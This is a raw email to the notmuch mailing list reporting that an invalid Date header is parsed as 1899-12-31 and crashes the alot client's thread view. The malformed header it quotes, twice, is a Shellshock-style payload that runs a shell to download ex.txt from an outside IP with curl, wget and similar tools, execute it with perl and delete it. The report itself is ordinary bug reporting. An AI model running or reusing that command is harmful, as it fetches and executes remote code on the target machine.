1 Return-Path: <j.schauer@email.de>
\r
2 X-Original-To: notmuch@notmuchmail.org
\r
3 Delivered-To: notmuch@notmuchmail.org
\r
4 Received: from localhost (localhost [127.0.0.1])
\r
5 by arlo.cworth.org (Postfix) with ESMTP id A27E26DE1A45
\r
6 for <notmuch@notmuchmail.org>; Wed, 22 Apr 2015 00:01:53 -0700 (PDT)
\r
7 X-Virus-Scanned: Debian amavisd-new at cworth.org
\r
11 X-Spam-Status: No, score=-0.02 tagged_above=-999 required=5
\r
12 tests=[NORMAL_HTTP_TO_IP=0.001, RCVD_IN_DNSWL_NONE=-0.0001,
\r
13 RCVD_IN_MSPIKE_H3=-0.01, RCVD_IN_MSPIKE_WL=-0.01, SPF_PASS=-0.001]
\r
15 Received: from arlo.cworth.org ([127.0.0.1])
\r
16 by localhost (arlo.cworth.org [127.0.0.1]) (amavisd-new, port 10024)
\r
17 with ESMTP id 3FTOwRj7Wdw9 for <notmuch@notmuchmail.org>;
\r
18 Wed, 22 Apr 2015 00:01:51 -0700 (PDT)
\r
19 X-Greylist: delayed 308 seconds by postgrey-1.35 at arlo;
\r
20 Wed, 22 Apr 2015 00:01:50 PDT
\r
21 Received: from mout.web.de (mout.web.de [212.227.17.11])
\r
22 by arlo.cworth.org (Postfix) with ESMTPS id C114D6DE1A3F
\r
23 for <notmuch@notmuchmail.org>; Wed, 22 Apr 2015 00:01:50 -0700 (PDT)
\r
24 Received: from localhost ([46.5.19.64]) by smtp.web.de (mrweb101) with ESMTPSA
\r
25 (Nemesis) id 0LgpVS-1Z5LYU3m4M-00oEBC for <notmuch@notmuchmail.org>;
\r
26 Wed, 22 Apr 2015 08:56:33 +0200
\r
27 Content-Type: multipart/signed; protocol="application/pgp-signature";
\r
28 micalg="pgp-sha256"; boundary="===============5658821246841805018=="
\r
30 Content-Disposition: inline
\r
31 To: notmuch@notmuchmail.org
\r
32 Message-ID: <20150422065630.6330.90536@hoothoot>
\r
33 From: Johannes Schauer <j.schauer@email.de>
\r
34 User-Agent: alot/0.3.6
\r
35 Subject: bug: notmuch cannot handle invalid Date fields
\r
36 Date: Wed, 22 Apr 2015 08:56:30 +0200
\r
37 X-Provags-ID: V03:K0:tcPLe5dpOyRODUpZPabtfWlovT+vxq852X0ipsUF8tYQiKyNSoF
\r
38 Kd3CQa8J6epu/hqvitdj4zt4dBMOOJuvbTHupbyivcthK+d2hOshGZXlupVC0aP0WDNYSqg
\r
39 9xKgBgnh8rXqfUqeUYu/O8FIHkFWn1FL6aD/wmsRanl9XTnQT9zl6c5OBdMgjRLYbAf0rLj
\r
40 9uv8vNSti857ulTGYNg8w==
\r
41 X-UI-Out-Filterresults: notjunk:1;
\r
42 X-Mailman-Approved-At: Wed, 22 Apr 2015 05:08:25 -0700
\r
43 X-BeenThere: notmuch@notmuchmail.org
\r
44 X-Mailman-Version: 2.1.18
\r
46 List-Id: "Use and development of the notmuch mail system."
\r
47 <notmuch.notmuchmail.org>
\r
48 List-Unsubscribe: <http://notmuchmail.org/mailman/options/notmuch>,
\r
49 <mailto:notmuch-request@notmuchmail.org?subject=unsubscribe>
\r
50 List-Archive: <http://notmuchmail.org/pipermail/notmuch/>
\r
51 List-Post: <mailto:notmuch@notmuchmail.org>
\r
52 List-Help: <mailto:notmuch-request@notmuchmail.org?subject=help>
\r
53 List-Subscribe: <http://notmuchmail.org/mailman/listinfo/notmuch>,
\r
54 <mailto:notmuch-request@notmuchmail.org?subject=subscribe>
\r
55 X-List-Received-Date: Wed, 22 Apr 2015 07:01:53 -0000
\r
57 --===============5658821246841805018==
\r
58 Content-Type: text/plain; charset="utf-8"
\r
60 Content-Transfer-Encoding: quoted-printable
\r
64 I recently received an email with the following date field (the value of all
\r
65 other headers is the same):
\r
67 Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-dow=
\r
68 nload http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254=
\r
69 .31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;
\r
71 When doing `notmuch search lwp-download` I get:
\r
73 thread:000000000001ea6b 1899-12-31 [1/1] {; () { :; }; /bin/sh -c 'cd /tm=
\r
74 p ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt=
\r
75 ;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr =
\r
76 ex.*' &; (inbox unread)
\r
78 You can see that the date is 1899-12-31 which is wrong.
\r
80 This is annoying because the python module datetime which is for example us=
\r
82 by the notmuch client alot cannot handle dates before the year 1900 and will
\r
83 thus never show this email in its thread view but instead display an except=
\r
85 every time the view is refreshed.
\r
87 It would be great if an invalid date could either somehow default to a nil
\r
88 value or be a date that is 1900 or later.
\r
94 --===============5658821246841805018==
\r
96 Content-Transfer-Encoding: 7bit
\r
97 Content-Description: signature
\r
98 Content-Type: application/pgp-signature; name="signature.asc"; charset="us-ascii"
\r
100 -----BEGIN PGP SIGNATURE-----
\r
103 iQIcBAABCAAGBQJVN0YeAAoJEPLLpcePvYPhSOAQAIshVq9O3v5N2jjiE9tKcuqC
\r
104 mZ1rm6X2jZm/kbWFX1NSnQ5qI7Tyuy0S549k+/n3i3FTGxbYIyAaqJ5wSuTaqCNa
\r
105 nyRe4LNKT2mOq7RUt8XsD1fmUm8RIoxbGYqACsaugNP51K6IZCkwWxAtCj6u362c
\r
106 4sTtOnsTd5AcDyWDX1ErX0nC/Jt7aWXIeBJm9P+XodKX+Vr1RFVxT83pkx7QOoQ4
\r
107 aQMOdoQaVbejCN9bi93R/z8UWXCGxaC12FMNUCGPGGJHZQ4VUzNCJ303wQqb+4O7
\r
108 6qKc6bzJg4YEbLgsr8oeWh0bkFjPiSdExFiS2uUYmaaM3aH5Y1ndayBhOXV9UrLS
\r
109 KSKrdJbUnqKaeMpCE4ACwL6MKO4tBek4hYwFETaP3fmhjm1uK2Bu6FgDM+3XTL9n
\r
110 3kMBoQlkoA1EdaT3JQK+irBCnEoLzy897vqtf6YkgoKHbX4k2Fx9Bt2XUa7tygv3
\r
111 1Ez6pRv9t8kHsde+ZU7xrQlJG5JfNDT43zP07VJUV10ctU2ZCt8cu3fMgrCPsK1m
\r
112 rx3RcnTNg2nbIq5fHhVZTk40s/3dA7yJua6i/nwaQaY7yX/AhHLGMU97krlkB83n
\r
113 xuYeuuKLj5Nv8QUTZ+juMVsEP6ukeM0ChtVIbMqP47/kuUvGqvYcn0Ii64HjF1jQ
\r
114 AjnMU1UmJfwH/+lpFnvI
\r
116 -----END PGP SIGNATURE-----
\r
118 --===============5658821246841805018==--
\r